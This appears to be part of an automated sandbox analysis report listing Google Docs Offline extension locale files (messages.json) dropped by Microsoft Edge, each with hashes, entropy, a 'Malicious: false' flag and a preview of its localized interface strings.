Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
